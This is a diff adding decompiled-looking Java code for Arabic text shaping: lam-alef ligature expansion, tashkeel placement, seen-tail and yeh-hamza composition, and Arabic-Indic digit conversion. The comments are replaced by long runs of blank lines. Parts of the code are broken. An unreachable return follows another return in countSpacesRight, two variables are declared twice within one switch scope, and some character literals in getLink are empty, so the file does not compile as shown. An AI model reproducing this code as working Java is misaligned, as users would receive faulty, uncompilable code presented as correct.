+    case 3:  buf.append("LamAlef spaces at begin"); break;
+    case 2:  buf.append("LamAlef spaces at end"); break;
+    case 65536:  buf.append("lamAlef auto");
+    }
+    switch (options & 0x4) {
+    case 0:  buf.append(", logical"); break;
+    case 4:  buf.append(", visual");
+    }
+    switch (options & 0x18) {
+    case 0:  buf.append(", no letter shaping"); break;
+    case 8:  buf.append(", shape letters"); break;
+    case 24:  buf.append(", shape letters tashkeel isolated"); break;
+    case 16:  buf.append(", unshape letters");
+    }
+    switch (options & 0x700000) {
+    case 2097152:  buf.append(", Seen at near");
+    }
+    switch (options & 0x3800000) {
+    case 16777216:  buf.append(", Yeh Hamza at near");
+    }
+    switch (options & 0xE0000) {
+    case 262144:  buf.append(", Tashkeel at begin"); break;
+    case 393216:  buf.append(", Tashkeel at end"); break;
+    case 786432:  buf.append(", Tashkeel replace with tatweel"); break;
+    case 524288:  buf.append(", Tashkeel resize");
+    }
+    
+    switch (options & 0xE0) {
+    case 0:  buf.append(", no digit shaping"); break;
+    case 32:  buf.append(", shape digits to AN"); break;
+    case 64:  buf.append(", shape digits to EN"); break;
+    case 96:  buf.append(", shape digits to AN contextually: default EN"); break;
+    case 128:  buf.append(", shape digits to AN contextually: default AL");
+    }
+    switch (options & 0x100) {
+    case 0:  buf.append(", standard Arabic-Indic digits"); break;
+    case 256:  buf.append(", extended Arabic-Indic digits");
+    }
+    buf.append("]");
+    
+    return buf.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int[] irrelevantPos = { 0, 2, 4, 6, 8, 10, 12, 14 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int[] tailFamilyIsolatedFinal = { 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int[] tashkeelMedial = { 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final char[] yehHamzaToYeh = { 65263, 65264 };
+  
+
+
+
+
+  private static final char[] convertNormalizedLamAlef = { 'آ', 'أ', 'إ', 'ا' };
+  
+
+
+
+
+
+  private static final int[] araLink = { 4385, 4897, 5377, 5921, 6403, 7457, 7939, 8961, 9475, 10499, 11523, 12547, 13571, 14593, 15105, 15617, 16129, 16643, 17667, 18691, 19715, 20739, 21763, 22787, 23811, 0, 0, 0, 0, 0, 3, 24835, 25859, 26883, 27923, 28931, 29955, 30979, 32001, 32513, 33027, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 0, 0, 0, 0, 0, 0, 34049, 34561, 35073, 35585, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 33, 33, 0, 33, 1, 1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 1, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1, 3, 3, 3, 3, 1, 1 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int[] presLink = { 3, 3, 3, 0, 3, 0, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 0, 32, 33, 32, 33, 0, 1, 32, 33, 0, 2, 3, 1, 32, 33, 0, 2, 3, 1, 0, 1, 0, 2, 3, 1, 0, 2, 3, 1, 0, 2, 3, 1, 0, 2, 3, 1, 0, 2, 3, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 2, 3, 1, 0, 2, 3, 1, 0, 2, 3, 1, 0, 2, 3, 1, 0, 2, 3, 1, 0, 2, 3, 1, 0, 2, 3, 1, 0, 2, 3, 1, 0, 2, 3, 1, 0, 2, 3, 1, 0, 2, 3, 1, 16, 18, 19, 17, 0, 2, 3, 1, 0, 2, 3, 1, 0, 2, 3, 1, 0, 1, 0, 1, 0, 2, 3, 1, 0, 1, 0, 1, 0, 1, 0, 1 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static int[] convertFEto06 = { 1611, 1611, 1612, 1612, 1613, 1613, 1614, 1614, 1615, 1615, 1616, 1616, 1617, 1617, 1618, 1618, 1569, 1570, 1570, 1571, 1571, 1572, 1572, 1573, 1573, 1574, 1574, 1574, 1574, 1575, 1575, 1576, 1576, 1576, 1576, 1577, 1577, 1578, 1578, 1578, 1578, 1579, 1579, 1579, 1579, 1580, 1580, 1580, 1580, 1581, 1581, 1581, 1581, 1582, 1582, 1582, 1582, 1583, 1583, 1584, 1584, 1585, 1585, 1586, 1586, 1587, 1587, 1587, 1587, 1588, 1588, 1588, 1588, 1589, 1589, 1589, 1589, 1590, 1590, 1590, 1590, 1591, 1591, 1591, 1591, 1592, 1592, 1592, 1592, 1593, 1593, 1593, 1593, 1594, 1594, 1594, 1594, 1601, 1601, 1601, 1601, 1602, 1602, 1602, 1602, 1603, 1603, 1603, 1603, 1604, 1604, 1604, 1604, 1605, 1605, 1605, 1605, 1606, 1606, 1606, 1606, 1607, 1607, 1607, 1607, 1608, 1608, 1609, 1609, 1610, 1610, 1610, 1610, 1628, 1628, 1629, 1629, 1630, 1630, 1631, 1631 };
+  
+
+
+
+
+
+
+
+
+
+
+
+  private static final int[][][] shapeTable = { { { 0, 0, 0, 0 }, { 0, 0, 0, 0 }, { 0, 1, 0, 3 }, { 0, 1, 0, 1 } }, { { 0, 0, 2, 2 }, { 0, 0, 1, 2 }, { 0, 1, 1, 2 }, { 0, 1, 1, 3 } }, { { 0, 0, 0, 0 }, { 0, 0, 0, 0 }, { 0, 1, 0, 3 }, { 0, 1, 0, 3 } }, { { 0, 0, 1, 2 }, { 0, 0, 1, 2 }, { 0, 1, 1, 2 }, { 0, 1, 1, 3 } } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void shapeToArabicDigitsWithContext(char[] dest, int start, int length, char digitBase, boolean lastStrongWasAL)
+  {
+    UBiDiProps bdp = UBiDiProps.INSTANCE;
+    digitBase = (char)(digitBase - '0');
+    
+    int i = start + length; for (;;) { i--; if (i < start) break;
+      char ch = dest[i];
+      switch (bdp.getClass(ch)) {
+      case 0: 
+      case 1: 
+        lastStrongWasAL = false;
+        break;
+      case 13: 
+        lastStrongWasAL = true;
+        break;
+      case 2: 
+        if ((lastStrongWasAL) && (ch <= '9')) {
+          dest[i] = ((char)(ch + digitBase));
+        }
+        
+
+
+
+
+        break;
+      }
+      
+    }
+  }
+  
+
+
+
+
+  private static void invertBuffer(char[] buffer, int start, int length)
+  {
+    int i = start; for (int j = start + length - 1; i < j; j--) {
+      char temp = buffer[i];
+      buffer[i] = buffer[j];
+      buffer[j] = temp;i++;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  private static char changeLamAlef(char ch)
+  {
+    switch (ch) {
+    case 'آ':  return 'ٜ';
+    case 'أ':  return 'ٝ';
+    case 'إ':  return 'ٞ';
+    case 'ا':  return 'ٟ'; }
+    return '\000';
+  }
+  
+
+
+
+
+
+  private static int specialChar(char ch)
+  {
+    if (((ch > 'ء') && (ch < 'ئ')) || (ch == 'ا') || ((ch > 'خ') && (ch < 'س')) || ((ch > 'ه') && (ch < 'ي')) || (ch == 'ة'))
+    {
+
+
+
+      return 1; }
+    if ((ch >= 'ً') && (ch <= 'ْ'))
+      return 2;
+    if (((ch >= 'ٓ') && (ch <= 'ٕ')) || (ch == 'ٰ') || ((ch >= 65136) && (ch <= 65151)))
+    {
+
+      return 3;
+    }
+    return 0;
+  }
+  
+
+
+
+
+
+
+  private static int getLink(char ch)
+  {
+    if ((ch >= 'آ') && (ch <= 'ۓ'))
+      return araLink[(ch - 'آ')];
+    if (ch == '‍')
+      return 3;
+    if ((ch >= '') && (ch <= ''))
+      return 4;
+    if ((ch >= 65136) && (ch <= 65276)) {
+      return presLink[(ch - 65136)];
+    }
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+  private static int countSpacesLeft(char[] dest, int start, int count)
+  {
+    int i = start; for (int e = start + count; i < e; i++) {
+      if (dest[i] != ' ') {
+        return i - start;
+      }
+    }
+    return count;
+  }
+  
+
+
+  private static int countSpacesRight(char[] dest, int start, int count)
+  {
+    int i = start + count; do { i--; if (i < start) break;
+    } while (dest[i] == ' ');
+    return start + count - 1 - i;
+    
+
+    return count;
+  }
+  
+
+
+
+  private static boolean isTashkeelChar(char ch)
+  {
+    return (ch >= 'ً') && (ch <= 'ْ');
+  }
+  
+
+
+
+
+
+  private static int isSeenTailFamilyChar(char ch)
+  {
+    if ((ch >= 65201) && (ch < 65215)) {
+      return tailFamilyIsolatedFinal[(ch - 65201)];
+    }
+    return 0;
+  }
+  
+
+
+
+
+
+  private static int isSeenFamilyChar(char ch)
+  {
+    if ((ch >= 'س') && (ch <= 'ض')) {
+      return 1;
+    }
+    return 0;
+  }
+  
+
+
+
+
+
+
+  private static boolean isTailChar(char ch)
+  {
+    if ((ch == '​') || (ch == 65139)) {
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+  private static boolean isAlefMaksouraChar(char ch)
+  {
+    return (ch == 65263) || (ch == 65264) || (ch == 'ى');
+  }
+  
+
+
+
+
+  private static boolean isYehHamzaChar(char ch)
+  {
+    if ((ch == 65161) || (ch == 65162)) {
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+  private static boolean isTashkeelCharFE(char ch)
+  {
+    return (ch != 65141) && (ch >= 65136) && (ch <= 65151);
+  }
+  
+
+
+
+
+
+
+  private static int isTashkeelOnTatweelChar(char ch)
+  {
+    if ((ch >= 65136) && (ch <= 65151) && (ch != 65139) && (ch != 65141) && (ch != 65149))
+    {
+      return tashkeelMedial[(ch - 65136)]; }
+    if (((ch >= 64754) && (ch <= 64756)) || (ch == 65149)) {
+      return 2;
+    }
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+  private static int isIsolatedTashkeelChar(char ch)
+  {
+    if ((ch >= 65136) && (ch <= 65151) && (ch != 65139) && (ch != 65141))
+      return 1 - tashkeelMedial[(ch - 65136)];
+    if ((ch >= 64606) && (ch <= 64611)) {
+      return 1;
+    }
+    return 0;
+  }
+  
+
+
+
+
+  private static boolean isAlefChar(char ch)
+  {
+    return (ch == 'آ') || (ch == 'أ') || (ch == 'إ') || (ch == 'ا');
+  }
+  
+
+
+
+  private static boolean isLamAlefChar(char ch)
+  {
+    return (ch >= 65269) && (ch <= 65276);
+  }
+  
+  private static boolean isNormalizedLamAlefChar(char ch) {
+    return (ch >= 'ٜ') && (ch <= 'ٟ');
+  }
+  
+
+
+
+
+
+
+
+  private int calculateSize(char[] source, int sourceStart, int sourceLength)
+  {
+    int destSize = sourceLength;
+    
+    switch (options & 0x18) {
+    case 8: 
+    case 24: 
+      if (isLogical) {
+        int i = sourceStart; for (int e = sourceStart + sourceLength - 1; i < e; i++) {
+          if (((source[i] == 'ل') && (isAlefChar(source[(i + 1)]))) || (isTashkeelCharFE(source[i]))) {
+            destSize--;
+          }
+        }
+      } else {
+        int i = sourceStart + 1; for (int e = sourceStart + sourceLength; i < e; i++) {
+          if (((source[i] == 'ل') && (isAlefChar(source[(i - 1)]))) || (isTashkeelCharFE(source[i]))) {
+            destSize--;
+          }
+        }
+      }
+      break;
+    
+    case 16: 
+      int i = sourceStart; for (int e = sourceStart + sourceLength; i < e; i++) {
+        if (isLamAlefChar(source[i])) {
+          destSize++;
+        }
+      }
+      break;
+    }
+    
+    
+
+
+    return destSize;
+  }
+  
+
+
+
+
+  private static int countSpaceSub(char[] dest, int length, char subChar)
+  {
+    int i = 0;
+    int count = 0;
+    while (i < length) {
+      if (dest[i] == subChar) {
+        count++;
+      }
+      i++;
+    }
+    return count;
+  }
+  
+
+
+
+  private static void shiftArray(char[] dest, int start, int e, char subChar)
+  {
+    int w = e;
+    int r = e;
+    for (;;) { r--; if (r < start) break;
+      char ch = dest[r];
+      if (ch != subChar) {
+        w--;
+        if (w != r) {
+          dest[w] = ch;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  private static int flipArray(char[] dest, int start, int e, int w)
+  {
+    if (w > start)
+    {
+      int r = w;
+      w = start;
+      while (r < e) {
+        dest[(w++)] = dest[(r++)];
+      }
+    }
+    w = e;
+    
+    return w;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private static int handleTashkeelWithTatweel(char[] dest, int sourceLength)
+  {
+    for (int i = 0; i < sourceLength; i++) {
+      if (isTashkeelOnTatweelChar(dest[i]) == 1) {
+        dest[i] = 'ـ';
+      } else if (isTashkeelOnTatweelChar(dest[i]) == 2) {
+        dest[i] = 65149;
+      } else if ((isIsolatedTashkeelChar(dest[i]) == 1) && (dest[i] != 65148)) {
+        dest[i] = ' ';
+      }
+    }
+    return sourceLength;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int handleGeneratedSpaces(char[] dest, int start, int length)
+  {
+    int lenOptionsLamAlef = options & 0x10003;
+    int lenOptionsTashkeel = options & 0xE0000;
+    boolean lamAlefOn = false;
+    boolean tashkeelOn = false;
+    
+    if (((!isLogical ? 1 : 0) & (!spacesRelativeToTextBeginEnd ? 1 : 0)) != 0) {
+      switch (lenOptionsLamAlef) {
+      case 3:  lenOptionsLamAlef = 2; break;
+      case 2:  lenOptionsLamAlef = 3; break;
+      }
+      
+      switch (lenOptionsTashkeel) {
+      case 262144:  lenOptionsTashkeel = 393216; break;
+      case 393216:  lenOptionsTashkeel = 262144; break;
+      }
+      
+    }
+    
+
+    if (lenOptionsLamAlef == 1) {
+      int i = start; for (int e = i + length; i < e; i++) {
+        if (dest[i] == 65535) {
+          dest[i] = ' ';
+        }
+      }
+    }
+    else
+    {
+      int e = start + length;
+      int wL = countSpaceSub(dest, length, 65535);
+      int wT = countSpaceSub(dest, length, 65534);
+      
+      if (lenOptionsLamAlef == 2) {
+        lamAlefOn = true;
+      }
+      if (lenOptionsTashkeel == 393216) {
+        tashkeelOn = true;
+      }
+      
+
+      if ((lamAlefOn) && (lenOptionsLamAlef == 2)) {
+        shiftArray(dest, start, e, 65535);
+        while (wL > start) {
+          dest[(--wL)] = ' ';
+        }
+      }
+      
+      if ((tashkeelOn) && (lenOptionsTashkeel == 393216)) {
+        shiftArray(dest, start, e, 65534);
+        while (wT > start) {
+          dest[(--wT)] = ' ';
+        }
+      }
+      
+      lamAlefOn = false;
+      tashkeelOn = false;
+      
+      if (lenOptionsLamAlef == 0) {
+        lamAlefOn = true;
+      }
+      if (lenOptionsTashkeel == 524288) {
+        tashkeelOn = true;
+      }
+      
+      if ((lamAlefOn) && (lenOptionsLamAlef == 0)) {
+        shiftArray(dest, start, e, 65535);
+        wL = flipArray(dest, start, e, wL);
+        length = wL - start;
+      }
+      if ((tashkeelOn) && (lenOptionsTashkeel == 524288)) {
+        shiftArray(dest, start, e, 65534);
+        wT = flipArray(dest, start, e, wT);
+        length = wT - start;
+      }
+      
+      lamAlefOn = false;
+      tashkeelOn = false;
+      
+      if ((lenOptionsLamAlef == 3) || (lenOptionsLamAlef == 65536))
+      {
+        lamAlefOn = true;
+      }
+      if (lenOptionsTashkeel == 262144) {
+        tashkeelOn = true;
+      }
+      
+      if ((lamAlefOn) && ((lenOptionsLamAlef == 3) || (lenOptionsLamAlef == 65536)))
+      {
+        shiftArray(dest, start, e, 65535);
+        wL = flipArray(dest, start, e, wL);
+        while (wL < e) {
+          dest[(wL++)] = ' ';
+        }
+      }
+      if ((tashkeelOn) && (lenOptionsTashkeel == 262144)) {
+        shiftArray(dest, start, e, 65534);
+        wT = flipArray(dest, start, e, wT);
+        while (wT < e) {
+          dest[(wT++)] = ' ';
+        }
+      }
+    }
+    
+    return length;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private boolean expandCompositCharAtBegin(char[] dest, int start, int length, int lacount)
+  {
+    boolean spaceNotFound = false;
+    
+    if (lacount > countSpacesRight(dest, start, length)) {
+      spaceNotFound = true;
+      return spaceNotFound;
+    }
+    int r = start + length - lacount;int w = start + length; for (;;) { r--; if (r < start) break;
+      char ch = dest[r];
+      if (isNormalizedLamAlefChar(ch)) {
+        dest[(--w)] = 'ل';
+        dest[(--w)] = convertNormalizedLamAlef[(ch - 'ٜ')];
+      } else {
+        dest[(--w)] = ch;
+      }
+    }
+    return spaceNotFound;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private boolean expandCompositCharAtEnd(char[] dest, int start, int length, int lacount)
+  {
+    boolean spaceNotFound = false;
+    
+    if (lacount > countSpacesLeft(dest, start, length)) {
+      spaceNotFound = true;
+      return spaceNotFound;
+    }
+    int r = start + lacount;int w = start; for (int e = start + length; r < e; r++) {
+      char ch = dest[r];
+      if (isNormalizedLamAlefChar(ch)) {
+        dest[(w++)] = convertNormalizedLamAlef[(ch - 'ٜ')];
+        dest[(w++)] = 'ل';
+      } else {
+        dest[(w++)] = ch;
+      }
+    }
+    return spaceNotFound;
+  }
+  
+
+
+
+
+
+
+
+
+  private boolean expandCompositCharAtNear(char[] dest, int start, int length, int yehHamzaOption, int seenTailOption, int lamAlefOption)
+  {
+    boolean spaceNotFound = false;
+    
+
+
+    if (isNormalizedLamAlefChar(dest[start])) {
+      spaceNotFound = true;
+      return spaceNotFound;
+    }
+    int i = start + length; for (;;) { i--; if (i < start) break;
+      char ch = dest[i];
+      if ((lamAlefOption == 1) && (isNormalizedLamAlefChar(ch))) {
+        if ((i > start) && (dest[(i - 1)] == ' ')) {
+          dest[i] = 'ل';
+          dest[(--i)] = convertNormalizedLamAlef[(ch - 'ٜ')];
+        } else {
+          spaceNotFound = true;
+          return spaceNotFound;
+        }
+      } else if ((seenTailOption == 1) && (isSeenTailFamilyChar(ch) == 1)) {
+        if ((i > start) && (dest[(i - 1)] == ' ')) {
+          dest[(i - 1)] = tailChar;
+        } else {
+          spaceNotFound = true;
+          return spaceNotFound;
+        }
+      } else if ((yehHamzaOption == 1) && (isYehHamzaChar(ch)))
+      {
+        if ((i > start) && (dest[(i - 1)] == ' ')) {
+          dest[i] = yehHamzaToYeh[(ch - 65161)];
+          dest[(i - 1)] = 65152;
+        } else {
+          spaceNotFound = true;
+          return spaceNotFound;
+        }
+      }
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int expandCompositChar(char[] dest, int start, int length, int lacount, int shapingMode)
+    throws ArabicShapingException
+  {
+    int lenOptionsLamAlef = options & 0x10003;
+    int lenOptionsSeen = options & 0x700000;
+    int lenOptionsYehHamza = options & 0x3800000;
+    boolean spaceNotFound = false;
+    
+    if ((!isLogical) && (!spacesRelativeToTextBeginEnd)) {
+      switch (lenOptionsLamAlef) {
+      case 3:  lenOptionsLamAlef = 2; break;
+      case 2:  lenOptionsLamAlef = 3; break;
+      }
+      
+    }
+    
+    if (shapingMode == 1) {
+      if (lenOptionsLamAlef == 65536) {
+        if (isLogical) {
+          spaceNotFound = expandCompositCharAtEnd(dest, start, length, lacount);
+          if (spaceNotFound) {
+            spaceNotFound = expandCompositCharAtBegin(dest, start, length, lacount);
+          }
+          if (spaceNotFound) {
+            spaceNotFound = expandCompositCharAtNear(dest, start, length, 0, 0, 1);
+          }
+          if (spaceNotFound) {
+            throw new ArabicShapingException("No spacefor lamalef");
+          }
+        } else {
+          spaceNotFound = expandCompositCharAtBegin(dest, start, length, lacount);
+          if (spaceNotFound) {
+            spaceNotFound = expandCompositCharAtEnd(dest, start, length, lacount);
+          }
+          if (spaceNotFound) {
+            spaceNotFound = expandCompositCharAtNear(dest, start, length, 0, 0, 1);
+          }
+          if (spaceNotFound) {
+            throw new ArabicShapingException("No spacefor lamalef");
+          }
+        }
+      } else if (lenOptionsLamAlef == 2) {
+        spaceNotFound = expandCompositCharAtEnd(dest, start, length, lacount);
+        if (spaceNotFound) {
+          throw new ArabicShapingException("No spacefor lamalef");
+        }
+      } else if (lenOptionsLamAlef == 3) {
+        spaceNotFound = expandCompositCharAtBegin(dest, start, length, lacount);
+        if (spaceNotFound) {
+          throw new ArabicShapingException("No spacefor lamalef");
+        }
+      } else if (lenOptionsLamAlef == 1) {
+        spaceNotFound = expandCompositCharAtNear(dest, start, length, 0, 0, 1);
+        if (spaceNotFound) {
+          throw new ArabicShapingException("No spacefor lamalef");
+        }
+      } else if (lenOptionsLamAlef == 0) {
+        int r = start + length;int w = r + lacount; for (;;) { r--; if (r < start) break;
+          char ch = dest[r];
+          if (isNormalizedLamAlefChar(ch)) {
+            dest[(--w)] = 'ل';
+            dest[(--w)] = convertNormalizedLamAlef[(ch - 'ٜ')];
+          } else {
+            dest[(--w)] = ch;
+          }
+        }
+        length += lacount;
+      }
+    } else {
+      if (lenOptionsSeen == 2097152) {
+        spaceNotFound = expandCompositCharAtNear(dest, start, length, 0, 1, 0);
+        if (spaceNotFound) {
+          throw new ArabicShapingException("No space for Seen tail expansion");
+        }
+      }
+      if (lenOptionsYehHamza == 16777216) {
+        spaceNotFound = expandCompositCharAtNear(dest, start, length, 1, 0, 0);
+        if (spaceNotFound) {
+          throw new ArabicShapingException("No space for YehHamza expansion");
+        }
+      }
+    }
+    return length;
+  }
+  
+
+
+
+
+
+  private int normalize(char[] dest, int start, int length)
+  {
+    int lacount = 0;
+    int i = start; for (int e = i + length; i < e; i++) {
+      char ch = dest[i];
+      if ((ch >= 65136) && (ch <= 65276)) {
+        if (isLamAlefChar(ch)) {
+          lacount++;
+        }
+        dest[i] = ((char)convertFEto06[(ch - 65136)]);
+      }
+    }
+    return lacount;
+  }
+  
+
+
+
+
+
+
+
+
+  private int deshapeNormalize(char[] dest, int start, int length)
+  {
+    int lacount = 0;
+    int yehHamzaComposeEnabled = 0;
+    int seenComposeEnabled = 0;
+    
+    yehHamzaComposeEnabled = (options & 0x3800000) == 16777216 ? 1 : 0;
+    seenComposeEnabled = (options & 0x700000) == 2097152 ? 1 : 0;
+    
+    int i = start; for (int e = i + length; i < e; i++) {
+      char ch = dest[i];
+      
+      if ((yehHamzaComposeEnabled == 1) && ((ch == 'ء') || (ch == 65152)) && (i < length - 1) && (isAlefMaksouraChar(dest[(i + 1)])))
+      {
+        dest[i] = ' ';
+        dest[(i + 1)] = 'ئ';
+      } else if ((seenComposeEnabled == 1) && (isTailChar(ch)) && (i < length - 1) && (isSeenTailFamilyChar(dest[(i + 1)]) == 1))
+      {
+        dest[i] = ' ';
+      }
+      else if ((ch >= 65136) && (ch <= 65276)) {
+        if (isLamAlefChar(ch)) {
+          lacount++;
+        }
+        dest[i] = ((char)convertFEto06[(ch - 65136)]);
+      }
+    }
+    return lacount;
+  }
+  
+
+
+
+
+
+
+
+
+  private int shapeUnicode(char[] dest, int start, int length, int destSize, int tashkeelFlag)
+    throws ArabicShapingException
+  {
+    int lamalef_count = normalize(dest, start, length);
+    
+
+
+
+
+
+    boolean lamalef_found = false;boolean seenfam_found = false;
+    boolean yehhamza_found = false;boolean tashkeel_found = false;
+    int i = start + length - 1;
+    int currLink = getLink(dest[i]);
+    int nextLink = 0;
+    int prevLink = 0;
+    int lastLink = 0;
+    
+    int lastPos = i;
+    int nx = -2;
+    int nw = 0;
+    
+    while (i >= 0)
+    {
+      if (((currLink & 0xFF00) > 0) || (isTashkeelChar(dest[i]))) {
+        nw = i - 1;
+        nx = -2;
+        while (nx < 0) {
+          if (nw == -1) {
+            nextLink = 0;
+            nx = Integer.MAX_VALUE;
+          } else {
+            nextLink = getLink(dest[nw]);
+            if ((nextLink & 0x4) == 0) {
+              nx = nw;
+            } else {
+              nw--;
+            }
+          }
+        }
+        
+        if (((currLink & 0x20) > 0) && ((lastLink & 0x10) > 0)) {
+          lamalef_found = true;
+          char wLamalef = changeLamAlef(dest[i]);
+          if (wLamalef != 0)
+          {
+            dest[i] = 65535;
+            dest[lastPos] = wLamalef;
+            i = lastPos;
+          }
+          
+          lastLink = prevLink;
+          currLink = getLink(wLamalef);
+        }
+        if ((i > 0) && (dest[(i - 1)] == ' '))
+        {
+          if (isSeenFamilyChar(dest[i]) == 1) {
+            seenfam_found = true;
+          } else if (dest[i] == 'ئ') {
+            yehhamza_found = true;
+          }
+        }
+        else if (i == 0) {
+          if (isSeenFamilyChar(dest[i]) == 1) {
+            seenfam_found = true;
+          } else if (dest[i] == 'ئ') {
+            yehhamza_found = true;
+          }
+        }
+        
+
+
+
+
+
+        int flag = specialChar(dest[i]);
+        
+        int shape = shapeTable[(nextLink & 0x3)][(lastLink & 0x3)][(currLink & 0x3)];
+        
+
+
+        if (flag == 1) {
+          shape &= 0x1;
+        } else if (flag == 2) {
+          if ((tashkeelFlag == 0) && ((lastLink & 0x2) != 0) && ((nextLink & 0x1) != 0) && (dest[i] != 'ٌ') && (dest[i] != 'ٍ') && (((nextLink & 0x20) != 32) || ((lastLink & 0x10) != 16)))
+          {
+
+
+
+
+
+
+            shape = 1;
+          }
+          else if ((tashkeelFlag == 2) && (dest[i] == 'ّ')) {
+            shape = 1;
+          }
+          else {
+            shape = 0;
+          }
+        }
+        if (flag == 2) {
+          if ((tashkeelFlag == 2) && (dest[i] != 'ّ')) {
+            dest[i] = 65534;
+            tashkeel_found = true;
+          }
+          else {
+            dest[i] = ((char)(65136 + irrelevantPos[(dest[i] - 'ً')] + shape));
+          }
+        }
+        else {
+          dest[i] = ((char)(65136 + (currLink >> 8) + shape));
+        }
+      }
+      
+
+      if ((currLink & 0x4) == 0) {
+        prevLink = lastLink;
+        lastLink = currLink;
+        
+        lastPos = i;
+      }
+      
+      i--;
+      if (i == nx) {
+        currLink = nextLink;
+        nx = -2;
+      } else if (i != -1) {
+        currLink = getLink(dest[i]);
+      }
+    }
+    
+
+
+
+    destSize = length;
+    if ((lamalef_found) || (tashkeel_found)) {
+      destSize = handleGeneratedSpaces(dest, start, length);
+    }
+    if ((seenfam_found) || (yehhamza_found)) {
+      destSize = expandCompositChar(dest, start, destSize, lamalef_count, 0);
+    }
+    return destSize;
+  }
+  
+
+
+
+
+
+
+
+  private int deShapeUnicode(char[] dest, int start, int length, int destSize)
+    throws ArabicShapingException
+  {
+    int lamalef_count = deshapeNormalize(dest, start, length);
+    
+
+    if (lamalef_count != 0)
+    {
+      destSize = expandCompositChar(dest, start, length, lamalef_count, 1);
+    } else {
+      destSize = length;
+    }
+    
+    return destSize;
+  }
+  
+
+
+
+
+  private int internalShape(char[] source, int sourceStart, int sourceLength, char[] dest, int destStart, int destSize)
+    throws ArabicShapingException
+  {
+    if (sourceLength == 0) {
+      return 0;
+    }
+    
+    if (destSize == 0) {
+      if (((options & 0x18) != 0) && ((options & 0x10003) == 0))
+      {
+
+        return calculateSize(source, sourceStart, sourceLength);
+      }
+      return sourceLength;
+    }
+    
+
+
+    char[] temp = new char[sourceLength * 2];
+    System.arraycopy(source, sourceStart, temp, 0, sourceLength);
+    
+    if (isLogical) {
+      invertBuffer(temp, 0, sourceLength);
+    }
+    
+    int outputSize = sourceLength;
+    
+    switch (options & 0x18) {
+    case 24: 
+      outputSize = shapeUnicode(temp, 0, sourceLength, destSize, 1);
+      break;
+    
+    case 8: 
+      if (((options & 0xE0000) > 0) && ((options & 0xE0000) != 786432))
+      {
+
+        outputSize = shapeUnicode(temp, 0, sourceLength, destSize, 2);
+      }
+      else {
+        outputSize = shapeUnicode(temp, 0, sourceLength, destSize, 0);
+        
+
+        if ((options & 0xE0000) == 786432) {
+          outputSize = handleTashkeelWithTatweel(temp, sourceLength);
+        }
+      }
+      
+      break;
+    case 16: 
+      outputSize = deShapeUnicode(temp, 0, sourceLength, destSize);
+      break;
+    }
+    
+    
+
+
+    if (outputSize > destSize) {
+      throw new ArabicShapingException("not enough room for result data");
+    }
+    
+    if ((options & 0xE0) != 0) {
+      char digitBase = '0';
+      switch (options & 0x100) {
+      case 0: 
+        digitBase = '٠';
+        break;
+      
+      case 256: 
+        digitBase = '۰';
+        break;
+      }
+      
+      
+
+
+      switch (options & 0xE0)
+      {
+      case 32: 
+        int digitDelta = digitBase - '0';
+        for (int i = 0; i < outputSize; i++) {
+          char ch = temp[i];
+          if ((ch <= '9') && (ch >= '0')) {
+            int tmp398_396 = i; char[] tmp398_394 = temp;tmp398_394[tmp398_396] = ((char)(tmp398_394[tmp398_396] + digitDelta));
+          }
+        }
+        
+        break;
+      
+
+      case 64: 
+        char digitTop = (char)(digitBase + '\t');
+        int digitDelta = '0' - digitBase;
+        for (int i = 0; i < outputSize; i++) {
+          char ch = temp[i];
+          if ((ch <= digitTop) && (ch >= digitBase)) {
+            int tmp464_462 = i; char[] tmp464_460 = temp;tmp464_460[tmp464_462] = ((char)(tmp464_460[tmp464_462] + digitDelta));
+          }
+        }
+        
+        break;
+      
+      case 96: 
+        shapeToArabicDigitsWithContext(temp, 0, outputSize, digitBase, false);
+        break;
+      
+      case 128: 
+        shapeToArabicDigitsWithContext(temp, 0, outputSize, digitBase, true);
+        break;
+      }
+      
+    }
+    
+
+
+    if (isLogical) {
+      invertBuffer(temp, 0, outputSize);
+    }
+    
+    System.arraycopy(temp, 0, dest, destStart, outputSize);
+    
+    return outputSize;
+  }
+}
